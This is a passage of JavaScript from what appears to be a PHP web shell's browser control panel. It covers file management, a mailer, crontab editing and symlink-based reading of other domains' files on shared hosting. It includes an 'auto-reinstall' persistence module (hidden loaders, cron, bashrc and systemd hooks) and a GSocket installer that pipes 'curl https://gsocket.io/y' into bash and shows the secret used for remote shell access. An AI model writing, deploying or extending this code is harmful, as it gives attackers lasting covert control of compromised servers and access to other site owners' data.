fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
showToast('File created');
setTimeout(() => location.reload(), 500);
} else {
showToast('Failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => showToast('Failed: ' + err, true));
}
function showChmodModal(path, currentPerms, isDir) {
document.getElementById('chmodPath').value = path;
document.getElementById('chmodIsDir').value = isDir ? '1' : '0';
document.getElementById('chmodInput').value = currentPerms.slice(-3);
document.getElementById('chmodRecursiveOption').style.display = isDir ? 'block' : 'none';
document.getElementById('chmodRecursive').checked = false;
updateCheckboxesFromChmod(currentPerms.slice(-3));
document.getElementById('chmodModal').classList.add('active');
setTimeout(() => document.getElementById('chmodInput').focus(), 100);
}
function updateCheckboxesFromChmod(mode) {
if (mode.length < 3) return;
const o = parseInt(mode[mode.length - 3]) || 0;
const g = parseInt(mode[mode.length - 2]) || 0;
const w = parseInt(mode[mode.length - 1]) || 0;
document.getElementById('chmod_or').checked = (o & 4) !== 0;
document.getElementById('chmod_ow').checked = (o & 2) !== 0;
document.getElementById('chmod_ox').checked = (o & 1) !== 0;
document.getElementById('chmod_gr').checked = (g & 4) !== 0;
document.getElementById('chmod_gw').checked = (g & 2) !== 0;
document.getElementById('chmod_gx').checked = (g & 1) !== 0;
document.getElementById('chmod_wr').checked = (w & 4) !== 0;
document.getElementById('chmod_ww').checked = (w & 2) !== 0;
document.getElementById('chmod_wx').checked = (w & 1) !== 0;
}
function updateChmodFromCheckboxes() {
let o = 0, g = 0, w = 0;
if (document.getElementById('chmod_or').checked) o += 4;
if (document.getElementById('chmod_ow').checked) o += 2;
if (document.getElementById('chmod_ox').checked) o += 1;
if (document.getElementById('chmod_gr').checked) g += 4;
if (document.getElementById('chmod_gw').checked) g += 2;
if (document.getElementById('chmod_gx').checked) g += 1;
if (document.getElementById('chmod_wr').checked) w += 4;
if (document.getElementById('chmod_ww').checked) w += 2;
if (document.getElementById('chmod_wx').checked) w += 1;
document.getElementById('chmodInput').value = '' + o + g + w;
}
function setChmodPreset(mode) {
document.getElementById('chmodInput').value = mode;
updateCheckboxesFromChmod(mode);
}
function doChmod() {
const path = document.getElementById('chmodPath').value;
const mode = document.getElementById('chmodInput').value.trim();
const recursive = document.getElementById('chmodRecursive').checked;
if (!mode || !/^[0-7]{3,4}$/.test(mode)) {
showToast('Please enter a valid permission mode (e.g., 755)', true);
return;
}
const formData = new FormData();
formData.append('action', 'chmod');
formData.append('path', path);
formData.append('mode', mode);
formData.append('recursive', recursive ? '1' : '0');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
showToast('Permissions changed');
closeModal('chmodModal');
setTimeout(() => location.reload(), 500);
} else {
showToast('Failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => showToast('Failed: ' + err, true));
}
function showGsocketModal() {
document.getElementById('gsocketSecret').value = '';
document.getElementById('gsocketNoinst').checked = false;
document.getElementById('gsocketNocert').checked = false;
document.getElementById('gsocketResult').style.display = 'none';
document.getElementById('gsocketOutput').textContent = '';
document.getElementById('gsocketRunBtn').disabled = false;
document.getElementById('gsocketRunBtn').textContent = '🚀 Install GSocket';
updateGsocketCommand();
document.getElementById('gsocketModal').classList.add('active');
}
function showSysInfo() {
document.getElementById('sysInfoContent').innerHTML = '<div style="text-align:center;padding:20px;">Loading...</div>';
document.getElementById('sysInfoModal').classList.add('active');
const formData = new FormData();
formData.append('action', 'sysinfo');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
const info = data.info;
const kvmStatus = info.kvm_support ? '<span style="color:#27ae60;">Supported</span>' : '<span style="color:#e74c3c;">Not Supported</span>';
document.getElementById('sysInfoContent').innerHTML = `
<div style="display:grid;gap:12px;">
<div class="info-row"><span class="label">Operating System</span><span>${escapeHtml(info.os)}</span></div>
<div class="info-row"><span class="label">CPU Model</span><span>${escapeHtml(info.cpu)}</span></div>
<div class="info-row"><span class="label">CPU Cores</span><span>${info.cores}</span></div>
<div class="info-row"><span class="label">RAM Total</span><span>${escapeHtml(info.ram_total)}</span></div>
<div class="info-row"><span class="label">RAM Used</span><span>${escapeHtml(info.ram_used)}</span></div>
<div class="info-row"><span class="label">RAM Free</span><span>${escapeHtml(info.ram_free)}</span></div>
<div class="info-row"><span class="label">KVM Support</span><span>${kvmStatus}</span></div>
<div style="border-top:1px solid #333;margin:10px 0;padding-top:10px;"><strong>Languages</strong></div>
<div class="info-row"><span class="label">Python</span><span>${escapeHtml(info.python || 'Unknown')}</span></div>
<div class="info-row"><span class="label">Perl</span><span>${escapeHtml(info.perl || 'Unknown')}</span></div>
<div class="info-row"><span class="label">Ruby</span><span>${escapeHtml(info.ruby || 'Unknown')}</span></div>
<div class="info-row" style="flex-direction:column;"><span class="label">PHP uname()</span><span style="font-size:0.8rem;word-break:break-all;margin-top:5px;">${escapeHtml(info.php_uname)}</span></div>
</div>
`;
} else {
document.getElementById('sysInfoContent').innerHTML = '<div style="color:#e74c3c;">Failed to load system information</div>';
}
})
.catch(err => {
document.getElementById('sysInfoContent').innerHTML = '<div style="color:#e74c3c;">Error: ' + escapeHtml(err.toString()) + '</div>';
});
}
function showMailer() {
document.getElementById('mailerResult').style.display = 'none';
document.getElementById('mailerSendBtn').disabled = false;
document.getElementById('mailerSendBtn').textContent = '📤 Send Test';
document.getElementById('mailerModal').classList.add('active');
}
function toggleSmtpFields() {
const method = document.getElementById('mailerMethod').value;
document.getElementById('smtpFields').style.display = method === 'smtp' ? 'block' : 'none';
document.getElementById('simpleMailFields').style.display = method === 'server' ? 'block' : 'none';
document.getElementById('advancedMailFields').style.display = method !== 'server' ? 'block' : 'none';
}
function sendTestMail() {
const btn = document.getElementById('mailerSendBtn');
const resultDiv = document.getElementById('mailerResult');
btn.disabled = true;
btn.textContent = '⏳ Sending...';
resultDiv.style.display = 'none';
const formData = new FormData();
formData.append('action', 'sendmail');
formData.append('method', document.getElementById('mailerMethod').value);
formData.append('from', document.getElementById('mailerFrom').value);
formData.append('fromName', document.getElementById('mailerFromName').value);
formData.append('to', document.getElementById('mailerTo').value);
formData.append('subject', document.getElementById('mailerSubject').value);
formData.append('message', document.getElementById('mailerMessage').value);
if (document.getElementById('mailerMethod').value === 'smtp') {
formData.append('smtpHost', document.getElementById('smtpHost').value);
formData.append('smtpPort', document.getElementById('smtpPort').value);
formData.append('smtpUser', document.getElementById('smtpUser').value);
formData.append('smtpPass', document.getElementById('smtpPass').value);
formData.append('smtpSecure', document.getElementById('smtpSecure').value);
}
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
btn.disabled = false;
btn.textContent = '📤 Send Test';
resultDiv.style.display = 'block';
if (data.success) {
resultDiv.style.background = 'rgba(39,174,96,0.2)';
resultDiv.style.color = '#27ae60';
resultDiv.textContent = '✓ ' + data.message;
} else {
resultDiv.style.background = 'rgba(231,76,60,0.2)';
resultDiv.style.color = '#e74c3c';
resultDiv.textContent = '✗ ' + (data.error || 'Failed to send email');
}
})
.catch(err => {
btn.disabled = false;
btn.textContent = '📤 Send Test';
resultDiv.style.display = 'block';
resultDiv.style.background = 'rgba(231,76,60,0.2)';
resultDiv.style.color = '#e74c3c';
resultDiv.textContent = '✗ Error: ' + err.toString();
});
}
function showUnzipper() {
document.getElementById('unzipPath').value = '';
document.getElementById('unzipDest').value = currentDir;
document.getElementById('unzipResult').style.display = 'none';
document.getElementById('unzipBtn').disabled = false;
document.getElementById('unzipBtn').textContent = '📦 Extract';
const select = document.getElementById('unzipMethod');
select.innerHTML = '<option value="auto">Auto Detect</option>';
document.getElementById('unzipMethodsLoading').style.display = 'block';
document.getElementById('unzipModal').classList.add('active');
const formData = new FormData();
formData.append('action', 'unzip_methods');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
document.getElementById('unzipMethodsLoading').style.display = 'none';
if (data.success && data.methods) {
data.methods.forEach(m => {
const opt = document.createElement('option');
opt.value = m.id;
opt.textContent = m.name + ' - ' + m.desc;
select.appendChild(opt);
});
}
})
.catch(() => {
document.getElementById('unzipMethodsLoading').textContent = 'Failed to load methods';
});
}
function showUnzipModal(path) {
showUnzipper();
document.getElementById('unzipPath').value = path;
}
function doUnzip() {
const path = document.getElementById('unzipPath').value;
const dest = document.getElementById('unzipDest').value;
const method = document.getElementById('unzipMethod').value;
const resultDiv = document.getElementById('unzipResult');
const btn = document.getElementById('unzipBtn');
if (!path) {
resultDiv.style.display = 'block';
resultDiv.style.background = 'rgba(231,76,60,0.2)';
resultDiv.style.color = '#e74c3c';
resultDiv.textContent = 'Please select an archive file';
return;
}
btn.disabled = true;
btn.textContent = '⏳ Extracting...';
resultDiv.style.display = 'none';
const formData = new FormData();
formData.append('action', 'unzip');
formData.append('path', path);
formData.append('dest', dest);
formData.append('method', method);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
btn.disabled = false;
btn.textContent = '📦 Extract';
resultDiv.style.display = 'block';
if (data.success) {
resultDiv.style.background = 'rgba(39,174,96,0.2)';
resultDiv.style.color = '#27ae60';
resultDiv.innerHTML = '✓ Extracted successfully using ' + escapeHtml(data.method) + (data.output ? '<br><pre style="margin-top:8px;font-size:0.75rem;white-space:pre-wrap;">' + escapeHtml(data.output.substring(0, 500)) + '</pre>' : '');
setTimeout(() => location.reload(), 1500);
} else {
resultDiv.style.background = 'rgba(231,76,60,0.2)';
resultDiv.style.color = '#e74c3c';
resultDiv.innerHTML = '✗ ' + escapeHtml(data.error || 'Extraction failed') + (data.output ? '<br><pre style="margin-top:8px;font-size:0.75rem;white-space:pre-wrap;">' + escapeHtml(data.output.substring(0, 500)) + '</pre>' : '');
}
})
.catch(err => {
btn.disabled = false;
btn.textContent = '📦 Extract';
resultDiv.style.display = 'block';
resultDiv.style.background = 'rgba(231,76,60,0.2)';
resultDiv.style.color = '#e74c3c';
resultDiv.textContent = '✗ Error: ' + err.toString();
});
}
let currentSymlinkTarget = '';
function showSymlinkDomain() {
document.getElementById('symlinkDomainList').innerHTML = '<div style="padding:20px;text-align:center;color:#888;">Click "Scan Domains" to find domains</div>';
document.getElementById('symlinkFileContent').style.display = 'none';
document.getElementById('symlinkScanStatus').textContent = '';
document.getElementById('symlinkModal').classList.add('active');
}
function scanSymlinkDomains() {
const btn = document.getElementById('symlinkScanBtn');
const status = document.getElementById('symlinkScanStatus');
const list = document.getElementById('symlinkDomainList');
btn.disabled = true;
status.textContent = 'Scanning...';
list.innerHTML = '<div style="padding:20px;text-align:center;color:#888;">Scanning domain paths...</div>';
const formData = new FormData();
formData.append('action', 'symlink_scan');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
btn.disabled = false;
if (data.success) {
const domains = data.domains || [];
status.textContent = 'Found ' + domains.length + ' paths';
if (domains.length === 0) {
list.innerHTML = '<div style="padding:20px;text-align:center;color:#888;">No domain paths found. Common paths:<br>/home/*/public_html/<br>/var/www/vhosts/*/httpdocs/<br>/var/www/*/</div>';
} else {
let html = '<table style="width:100%;border-collapse:collapse;">';
html += '<tr style="background:#1a1a1a;"><th style="padding:10px;text-align:left;border-bottom:1px solid #333;">Domain/User</th><th style="padding:10px;text-align:left;border-bottom:1px solid #333;">Path</th><th style="padding:10px;text-align:left;border-bottom:1px solid #333;">Type</th><th style="padding:10px;border-bottom:1px solid #333;">Action</th></tr>';
domains.forEach(d => {
html += '<tr style="border-bottom:1px solid #222;">';
html += '<td style="padding:8px;color:#00FF00;">' + escapeHtml(d.name) + '</td>';
html += '<td style="padding:8px;font-size:0.75rem;color:#888;">' + escapeHtml(d.path) + '</td>';
html += '<td style="padding:8px;font-size:0.75rem;">' + escapeHtml(d.server) + '</td>';
html += '<td style="padding:8px;"><button class="btn" onclick="readSymlinkFile(\'' + escapeHtml(d.path).replace(/'/g, "\\'") + '\')" style="padding:4px 8px;font-size:0.75rem;">📖 Read</button></td>';
html += '</tr>';
});
html += '</table>';
list.innerHTML = html;
}
} else {
status.textContent = 'Error';
list.innerHTML = '<div style="padding:20px;text-align:center;color:#e74c3c;">' + escapeHtml(data.error || 'Scan failed') + '</div>';
}
})
.catch(err => {
btn.disabled = false;
status.textContent = 'Error';
list.innerHTML = '<div style="padding:20px;text-align:center;color:#e74c3c;">Error: ' + escapeHtml(err.toString()) + '</div>';
});
}
function readSymlinkFile(domainPath) {
const fileName = document.getElementById('symlinkFile').value || 'index.php';
const contentDiv = document.getElementById('symlinkFileContent');
const pathSpan = document.getElementById('symlinkFilePath');
const ownerSpan = document.getElementById('symlinkFileOwner');
const pre = document.getElementById('symlinkContentPre');
pre.textContent = 'Loading...';
contentDiv.style.display = 'block';
pathSpan.textContent = '';
ownerSpan.textContent = '';
currentSymlinkTarget = domainPath;
const formData = new FormData();
formData.append('action', 'symlink_read');
formData.append('path', domainPath);
formData.append('file', fileName);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
pathSpan.textContent = data.path;
ownerSpan.textContent = data.owner + '/' + data.group + ' (' + data.size + ' bytes)';
pre.textContent = data.content;
} else {
pre.textContent = 'Error: ' + (data.error || 'Failed to read file');
pre.style.color = '#e74c3c';
}
})
.catch(err => {
pre.textContent = 'Error: ' + err.toString();
pre.style.color = '#e74c3c';
});
}
function createSymlinkFromScan() {
if (!currentSymlinkTarget) {
showToast('No target selected', 'error');
return;
}
const linkName = prompt('Enter symlink name:', 'symlink_' + Date.now());
if (!linkName) return;
const formData = new FormData();
formData.append('action', 'symlink_create');
formData.append('target', currentSymlinkTarget);
formData.append('link', linkName);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
showToast('Symlink created successfully');
closeModal('symlinkModal');
location.reload();
} else {
showToast(data.error || 'Failed to create symlink', 'error');
}
})
.catch(err => {
showToast('Error: ' + err.toString(), 'error');
});
}
function showCrontab() {
document.getElementById('crontabLoading').style.display = 'block';
document.getElementById('crontabError').style.display = 'none';
document.getElementById('crontabContent').style.display = 'none';
document.getElementById('crontabSaveBtn').style.display = 'none';
document.getElementById('crontabModal').classList.add('active');
const formData = new FormData();
formData.append('action', 'crontab');
formData.append('sub', 'list');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
document.getElementById('crontabLoading').style.display = 'none';
if (data.success) {
document.getElementById('crontabContent').value = data.content || '';
document.getElementById('crontabContent').style.display = 'block';
document.getElementById('crontabSaveBtn').style.display = 'inline-flex';
} else {
document.getElementById('crontabError').textContent = data.error || 'Failed to load crontab';
document.getElementById('crontabError').style.display = 'block';
}
})
.catch(err => {
document.getElementById('crontabLoading').style.display = 'none';
document.getElementById('crontabError').textContent = 'Error: ' + err.toString();
document.getElementById('crontabError').style.display = 'block';
});
}
function saveCrontab() {
const content = document.getElementById('crontabContent').value;
const formData = new FormData();
formData.append('action', 'crontab');
formData.append('sub', 'save');
formData.append('content', content);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
showToast('Crontab saved successfully');
closeModal('crontabModal');
} else {
showToast('Failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => showToast('Failed: ' + err, true));
}
function showAutoReinstall() {
document.getElementById('autoReinstallLoading').style.display = 'block';
document.getElementById('autoReinstallContent').style.display = 'none';
document.getElementById('autoReinstallError').style.display = 'none';
document.getElementById('arEnableBtn').style.display = 'none';
document.getElementById('arDisableBtn').style.display = 'none';
document.getElementById('autoReinstallModal').classList.add('active');
const formData = new FormData();
formData.append('action', 'autoReinstall');
formData.append('sub', 'status');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
document.getElementById('autoReinstallLoading').style.display = 'none';
if (data.success) {
const d = data.data;
document.getElementById('arStatus').innerHTML = d.enabled ? '<span style="color:#00FF00;">Enabled</span>' : '<span style="color:#FF6600;">Disabled</span>';
document.getElementById('arBackup').innerHTML = d.backup_exists ? '<span style="color:#00FF00;">✓ Hidden</span>' : '<span style="color:#888;">Not created</span>';
document.getElementById('arLoader').innerHTML = d.loader_exists ? '<span style="color:#00FF00;">✓ Hidden</span>' : '<span style="color:#888;">Not created</span>';
document.getElementById('arIni').innerHTML = d.ini_exists ? '<span style="color:#00FF00;">✓ .user.ini</span>' : '<span style="color:#888;">Not created</span>';
document.getElementById('arHosting').innerHTML = d.hosting_type === 'shared' ? '<span style="color:#00BFFF;">Shared</span>' : '<span style="color:#FFA500;">Dedicated/VPS</span>';
document.getElementById('arWebUser').textContent = d.web_user || 'Unknown';
document.getElementById('arCron').innerHTML = d.cron_active ? '<span style="color:#00FF00;">✓ Active</span>' : '<span style="color:#888;">Not set</span>';
var ws = d.watcher_status || {};
document.getElementById('arWatcherNohup').innerHTML = ws.nohup ? '<span style="color:#00FF00;">✓ Running</span>' : '<span style="color:#888;">Not running</span>';
document.getElementById('arWatcherSetsid').innerHTML = ws.setsid ? '<span style="color:#00FF00;">✓ Running</span>' : '<span style="color:#888;">Not running</span>';
document.getElementById('arBashrc').innerHTML = d.bashrc_active ? '<span style="color:#00FF00;">✓ Hooked</span>' : '<span style="color:#888;">Not set</span>';
document.getElementById('arSystemd').innerHTML = d.systemd_active ? '<span style="color:#00FF00;">✓ Timer active</span>' : '<span style="color:#888;">Not set</span>';
document.getElementById('arMulti').innerHTML = d.multi_count > 0 ? '<span style="color:#00FF00;">✓ ' + d.multi_count + ' copies</span>' : '<span style="color:#888;">None</span>';
document.getElementById('arChmod').innerHTML = d.chmod_active ? '<span style="color:#00FF00;">✓ Read-only (444)</span>' : '<span style="color:#888;">Not set</span>';
document.getElementById('arHasPassword').innerHTML = d.has_password ? '<span style="color:#00FF00;">✓ Protected</span>' : '<span style="color:#888;">Not set</span>';
document.getElementById('arPath').textContent = d.path;
document.getElementById('arHiddenPath').innerHTML = d.hidden_path ? '<span style="color:#00FF00;">' + escapeHtml(d.hidden_path) + '</span>' : '<span style="color:#888;">Not set</span>';
document.getElementById('arCustomPaths').innerHTML = '';
document.getElementById('arCustomStrings').innerHTML = '';
if (d.index_status && d.index_status.enabled) {
var locs = d.index_status.locations ? d.index_status.locations.join(', ') : '';
var stringsHtml = d.index_status.strings ? d.index_status.strings.join(', ') : d.index_status.string;
document.getElementById('arIndexStatus').innerHTML = '<span style="color:#00FF00;">✓ ' + escapeHtml(stringsHtml) + ' [' + locs + ']</span>';
if (d.index_status.custom_paths) {
d.index_status.custom_paths.forEach(function(p) { addCustomPath(); document.querySelector('.custom-path-input:last-of-type').value = p; });
}
if (d.index_status.strings) {
d.index_status.strings.forEach(function(s) { addCustomString(); document.querySelector('.custom-string-input:last-of-type').value = s; });
}
} else {
document.getElementById('arIndexStatus').innerHTML = '<span style="color:#888;">Not set</span>';
}
document.getElementById('arPassword').value = '';
document.getElementById('autoReinstallContent').style.display = 'block';
if (d.enabled) {
document.getElementById('arDisableBtn').style.display = 'inline-flex';
} else {
document.getElementById('arEnableBtn').style.display = 'inline-flex';
}
} else {
document.getElementById('autoReinstallError').textContent = data.error || 'Failed to get status';
document.getElementById('autoReinstallError').style.display = 'block';
}
})
.catch(err => {
document.getElementById('autoReinstallLoading').style.display = 'none';
document.getElementById('autoReinstallError').textContent = 'Error: ' + err.toString();
document.getElementById('autoReinstallError').style.display = 'block';
});
}
function addCustomPath() {
const container = document.getElementById('arCustomPaths');
const div = document.createElement('div');
div.style.cssText = 'display:flex;gap:5px;margin-bottom:5px;';
div.innerHTML = '<input type="text" class="custom-path-input" placeholder="/var/www/site/index.php" style="flex:1;padding:6px;background:#222;border:1px solid #444;color:#0f0;border-radius:3px;font-size:0.8rem;"><button type="button" onclick="this.parentElement.remove()" style="padding:6px 10px;background:#c0392b;color:#fff;border:none;border-radius:3px;cursor:pointer;">×</button>';
container.appendChild(div);
}
function addCustomString() {
const container = document.getElementById('arCustomStrings');
const div = document.createElement('div');
div.style.cssText = 'display:flex;gap:5px;margin-bottom:5px;';
div.innerHTML = '<input type="text" class="custom-string-input" placeholder="MyDetectionString2024" style="flex:1;padding:6px;background:#222;border:1px solid #444;color:#0f0;border-radius:3px;font-size:0.8rem;"><button type="button" onclick="this.parentElement.remove()" style="padding:6px 10px;background:#c0392b;color:#fff;border:none;border-radius:3px;cursor:pointer;">×</button>';
container.appendChild(div);
}
function getCustomPaths() {
const inputs = document.querySelectorAll('.custom-path-input');
const paths = [];
inputs.forEach(i => { if(i.value.trim() && !paths.includes(i.value.trim())) paths.push(i.value.trim()); });
return paths;
}
function getCustomStrings() {
const inputs = document.querySelectorAll('.custom-string-input');
const strings = [];
inputs.forEach(i => { if(i.value.trim() && !strings.includes(i.value.trim())) strings.push(i.value.trim()); });
return strings;
}
function toggleAutoReinstall(enable) {
const btn = enable ? document.getElementById('arEnableBtn') : document.getElementById('arDisableBtn');
const origText = btn.textContent;
const password = document.getElementById('arPassword').value;
const customPaths = getCustomPaths();
const customStrings = getCustomStrings();
btn.textContent = 'Working...';
btn.disabled = true;
const formData = new FormData();
formData.append('action', 'autoReinstall');
formData.append('sub', enable ? 'enable' : 'disable');
formData.append('persistPassword', password);
formData.append('customPaths', JSON.stringify(customPaths));
formData.append('customStrings', JSON.stringify(customStrings));
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
btn.textContent = origText;
btn.disabled = false;
if (data.success) {
showToast(enable ? 'Auto-reinstall enabled' : 'Auto-reinstall disabled');
showAutoReinstall();
} else {
if (data.password_required) {
showToast('Password required to disable persist', 'error');
} else {
showToast(data.error || 'Operation failed', 'error');
}
}
})
.catch(err => {
btn.textContent = origText;
btn.disabled = false;
showToast('Error: ' + err.toString(), 'error');
});
}
function showDomainInfo() {
document.getElementById('domainInfoContent').innerHTML = '<div style="text-align:center;padding:20px;">Loading...</div>';
document.getElementById('domainInfoModal').classList.add('active');
const formData = new FormData();
formData.append('action', 'domaininfo');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
const info = data.info;
document.getElementById('domainInfoContent').innerHTML = `
<div style="display:grid;gap:12px;">
<div class="info-row"><span class="label">Domain</span><span style="color:#00FF00;">${escapeHtml(info.domain)}</span></div>
<div class="info-row"><span class="label">Server IP</span><span>${escapeHtml(info.server_ip)}</span></div>
<div class="info-row"><span class="label">Server Software</span><span style="font-size:0.8rem;">${escapeHtml(info.server_software)}</span></div>
<div class="info-row"><span class="label">Web Server (PHP)</span><span>${escapeHtml(info.web_server)}</span></div>
<div class="info-row"><span class="label">PHP Version</span><span>${escapeHtml(info.php_version)}</span></div>
<div class="info-row"><span class="label">Control Panel</span><span style="color:#00FF00;">${escapeHtml(info.control_panel)}</span></div>
<hr style="border-color:#333;margin:10px 0;">
<div class="info-row"><span class="label">Domain Authority</span><span style="color:#00FF00;">${escapeHtml(String(info.metrics.domain_authority))}</span></div>
<div class="info-row"><span class="label">Page Authority</span><span style="color:#00FF00;">${escapeHtml(String(info.metrics.page_authority))}</span></div>
<div class="info-row"><span class="label">Spam Score</span><span>${escapeHtml(String(info.metrics.spam_score))}</span></div>
<div class="info-row"><span class="label">Domain Rating</span><span>${escapeHtml(String(info.metrics.domain_rating))}</span></div>
<div class="info-row"><span class="label">Site Traffic</span><span>${escapeHtml(String(info.metrics.site_traffic))}</span></div>
</div>
`;
} else {
document.getElementById('domainInfoContent').innerHTML = '<div style="color:#FF0000;">Failed to load domain information</div>';
}
})
.catch(err => {
document.getElementById('domainInfoContent').innerHTML = '<div style="color:#FF0000;">Error: ' + escapeHtml(err.toString()) + '</div>';
});
}
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}
function updateGsocketCommand() {
const secret = document.getElementById('gsocketSecret').value.trim();
const noinst = document.getElementById('gsocketNoinst').checked;
const nocert = document.getElementById('gsocketNocert').checked;
let envVars = [];
if (secret) envVars.push('X=' + secret);
if (noinst) envVars.push('GS_NOINST=1');
if (nocert) envVars.push('GS_NOCERTCHECK=1');
let renvc = envVars.length > 0 ? envVars.join(' ') + ' ' : '';
renvc += 'bash -c "$(curl -fsSL' + (nocert ? 'k' : '') + ' https://gsocket.io/y)"';
document.getElementById('gsocketCommand').textContent = renvc;
return renvc;
}
if (document.getElementById('gsocketSecret')) {
document.getElementById('gsocketSecret').addEventListener('input', updateGsocketCommand);
document.getElementById('gsocketNoinst').addEventListener('change', updateGsocketCommand);
document.getElementById('gsocketNocert').addEventListener('change', updateGsocketCommand);
}
function copyGsocketCommand() {
const renvc = document.getElementById('gsocketCommand').textContent;
navigator.clipboard.writeText(renvc).then(() => {
showToast('Command copied to clipboard');
}).catch(() => {
showToast('Failed to copy', true);
});
}
function runGsocket() {
const renvc = updateGsocketCommand();
const btn = document.getElementById('gsocketRunBtn');
const resultDiv = document.getElementById('gsocketResult');
const outputPre = document.getElementById('gsocketOutput');
btn.disabled = true;
btn.textContent = '⏳ Installing...';
resultDiv.style.display = 'block';
outputPre.textContent = 'Starting GSocket installation...\n';
const formData = new FormData();
formData.append('action', 'terminal');
formData.append('command', renvc);
formData.append('workDir', currentDir);
formData.append('timeout', '120');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
btn.disabled = false;
if (data.success) {
const output = data.output || '';
const secretMatch = output.match(/gs-netcat\s+-s\s+"([^"]+)"/i) ||
output.match(/S="([^"]+)"/i) ||
output.match(/Secret[:\s]+['"]?([a-zA-Z0-9]+)['"]?/i);
if (secretMatch) {
const secret = secretMatch[1];
outputPre.innerHTML = '<div style="margin-bottom:15px;"><span style="color:#888;">gsocket secret</span><br><span style="font-size:1.2rem;color:#27ae60;font-weight:bold;">' + escapeHtml(secret) + '</span></div>' +
'<div><span style="color:#888;">how to connect</span><br><code style="color:#3498db;">gs-netcat -s "' + escapeHtml(secret) + '" -i</code></div>';
btn.textContent = '✅ Complete';
} else {
outputPre.textContent = output;
btn.textContent = '✅ Complete';
}
} else {
outputPre.textContent = 'Error: ' + (data.error || 'Installation failed');
btn.textContent = '❌ Failed - Try Again';
}
})
.catch(err => {
btn.disabled = false;
btn.textContent = '❌ Failed - Try Again';
outputPre.textContent = 'Error: ' + err;
});
}
function closeModal(id) {
document.getElementById(id).classList.remove('active');
}
function showContextMenu(e, element) {
e.preventDefault();
contextTarget = element;
const menu = document.getElementById('contextMenu');
const isDir = element.dataset.isdir === '1';
const name = element.dataset.name;
document.getElementById('ctxDownload').style.display = isDir ? 'none' : 'block';
const archiveExts = ['zip', 'tar', 'gz', 'tgz', 'bz2', 'xz', '7z', 'rar'];
const ext = name.split('.').pop().toLowerCase();
document.getElementById('ctxUnzip').style.display = (!isDir && archiveExts.includes(ext)) ? 'block' : 'none';
document.getElementById('ctxPaste').style.display = (isDir && clipboard.path) ? 'block' : 'none';
document.getElementById('ctxEdit').style.display = (!isDir && name !== '..') ? 'block' : 'none';
document.getElementById('ctxRename').style.display = name === '..' ? 'none' : 'block';
document.getElementById('ctxChmod').style.display = name === '..' ? 'none' : 'block';
document.getElementById('ctxDelete').style.display = name === '..' ? 'none' : 'block';
let x = e.clientX;
let y = e.clientY;
menu.style.left = x + 'px';
menu.style.top = y + 'px';
menu.classList.add('active');
const rect = menu.getBoundingClientRect();
if (rect.right > window.innerWidth) {
menu.style.left = Math.max(5, x - rect.width) + 'px';
}
if (rect.bottom > window.innerHeight) {
menu.style.top = Math.max(5, y - rect.height) + 'px';
}
}
document.addEventListener('click', function() {
document.getElementById('contextMenu').classList.remove('active');
});
function contextAction(action) {
if (!contextTarget) return;
const path = contextTarget.dataset.path;
const name = contextTarget.dataset.name;
const isDir = contextTarget.dataset.isdir === '1';
switch (action) {
case 'open':
if (isDir) navigateTo(path);
break;
case 'download':
if (!isDir) downloadFile(path);
break;
case 'unzip':
if (!isDir) showUnzipModal(path);
break;
case 'cut':
clipboard = { path: path, action: 'move', name: name };
showToast('Ready to move: ' + name);
break;
case 'copy':
clipboard = { path: path, action: 'copy', name: name };
showToast('Ready to copy: ' + name);
break;
case 'paste':
if (clipboard.path && isDir) {
const formData = new FormData();
formData.append('action', clipboard.action);
formData.append('source', clipboard.path);
formData.append('destination', path);
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
showToast((clipboard.action === 'move' ? 'Moved' : 'Copied') + ' successfully');
clipboard = { path: null, action: null, name: null };
setTimeout(() => location.reload(), 500);
} else {
showToast('Failed: ' + (data.error || 'Unknown error'), true);
}
})
.catch(err => showToast('Failed: ' + err, true));
}
break;
case 'edit':
if (!isDir && name !== '..') openEditor(path);
break;
case 'rename':
if (name !== '..') showRenameModal(path, name);
break;
case 'info':
showInfoPanel(path);
break;
case 'chmod':
if (name !== '..') {
const perms = contextTarget.querySelector('span:nth-child(5)')?.textContent || '0755';
const isDir = contextTarget.dataset.isdir === '1';
showChmodModal(path, perms, isDir);
}
break;
case 'delete':
if (name !== '..') confirmDelete(path, name);
break;
}
}
function openEditor(path) {
const formData = new FormData();
formData.append('action', 'editFile');
formData.append('path', path);
document.getElementById('editorContent').value = 'Loading...';
document.getElementById('editorPath').value = '';
document.getElementById('editorInfo').textContent = '';
document.getElementById('editorStatus').textContent = '';
document.getElementById('editorModal').classList.add('active');
fetch(window.location.pathname, { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
if (data.success) {
document.getElementById('editorPath').value = data.path;
document.getElementById('editorTitle').textContent = '📝 ' + data.name;
document.getElementById('editorContent').value = data.content;
document.getElementById('editorInfo').textContent = 'Size: ' + formatBytes(data.size) + ' | ' + (data.writable ? 'Writable' : 'Read-only');
document.getElementById('editorSaveBtn').disabled = !data.writable;
